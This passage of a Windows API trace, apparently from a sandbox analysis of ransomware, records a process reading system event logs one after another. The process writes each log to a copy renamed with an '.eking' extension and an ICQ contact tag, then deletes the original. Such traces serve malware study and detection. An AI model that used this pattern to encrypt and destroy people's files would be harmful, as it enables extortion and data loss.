lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0223.499] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0223.501] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0223.501] CloseHandle (hObject=0x358) returned 1 [0223.501] CloseHandle (hObject=0x368) returned 1 [0223.507] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0223.509] SetEvent (hEvent=0x2b8) returned 1 [0223.509] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0223.509] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1052672) returned 1 [0223.510] CloseHandle (hObject=0x368) returned 1 [0223.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0223.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0223.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.510] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0223.510] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.510] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.510] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0223.818] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x101000, lpOverlapped=0x0) returned 1 [0223.857] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x101010, lpOverlapped=0x0) returned 1 [0224.075] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x172, lpOverlapped=0x0) returned 1 [0224.076] CloseHandle (hObject=0x368) returned 1 [0224.076] CloseHandle (hObject=0x374) returned 1 [0224.284] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0224.286] SetEvent (hEvent=0x2b8) returned 1 [0224.287] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0224.287] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0224.287] CloseHandle (hObject=0x374) returned 1 [0224.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0224.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0224.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0224.288] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0224.288] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0224.288] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0224.288] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0224.288] ReadFile (in: hFile=0x374, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0224.293] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0224.296] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x152, lpOverlapped=0x0) returned 1 [0224.296] CloseHandle (hObject=0x374) returned 1 [0224.296] CloseHandle (hObject=0x368) returned 1 [0224.304] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0224.306] SetEvent (hEvent=0x2b8) returned 1 [0224.306] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0224.306] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0224.306] CloseHandle (hObject=0x368) returned 1 [0224.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0224.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0224.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0224.307] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0224.307] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0224.307] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0224.307] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x378 [0224.631] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0224.636] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0224.638] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0224.638] CloseHandle (hObject=0x368) returned 1 [0224.639] CloseHandle (hObject=0x378) returned 1 [0224.642] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0224.644] SetEvent (hEvent=0x2b8) returned 1 [0224.644] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0224.648] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0224.648] CloseHandle (hObject=0x378) returned 1 [0224.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0224.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0224.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0224.649] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0224.649] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0224.649] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0224.649] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0224.650] ReadFile (in: hFile=0x378, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0224.655] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0224.698] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0224.698] CloseHandle (hObject=0x378) returned 1 [0224.698] CloseHandle (hObject=0x368) returned 1 [0224.918] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0224.920] SetEvent (hEvent=0x2b8) returned 1 [0224.956] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0224.957] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0224.957] CloseHandle (hObject=0x368) returned 1 [0224.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0224.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0224.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0224.958] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0224.958] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0224.958] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0224.958] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0224.961] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0224.965] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0224.968] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0224.968] CloseHandle (hObject=0x368) returned 1 [0224.968] CloseHandle (hObject=0x348) returned 1 [0224.982] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0225.164] SetEvent (hEvent=0x2b8) returned 1 [0225.166] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0225.300] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0225.300] CloseHandle (hObject=0x370) returned 1 [0225.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0225.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0225.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.301] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0225.301] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0225.301] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0225.301] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x378 [0225.302] ReadFile (in: hFile=0x370, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0225.308] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0225.311] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0225.311] CloseHandle (hObject=0x370) returned 1 [0225.311] CloseHandle (hObject=0x378) returned 1 [0225.316] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0225.319] SetEvent (hEvent=0x2b8) returned 1 [0225.320] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0225.320] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0225.320] CloseHandle (hObject=0x378) returned 1 [0225.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0225.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0225.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.321] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0225.321] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0225.321] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0225.321] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x370 [0225.321] ReadFile (in: hFile=0x378, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0225.327] WriteFile (in: hFile=0x370, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0225.330] WriteFile (in: hFile=0x370, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0225.330] CloseHandle (hObject=0x378) returned 1 [0225.330] CloseHandle (hObject=0x370) returned 1 [0225.338] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0225.340] SetEvent (hEvent=0x2b8) returned 1 [0225.340] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0225.340] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1052672) returned 1 [0225.340] CloseHandle (hObject=0x370) returned 1 [0225.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0225.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0225.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.341] 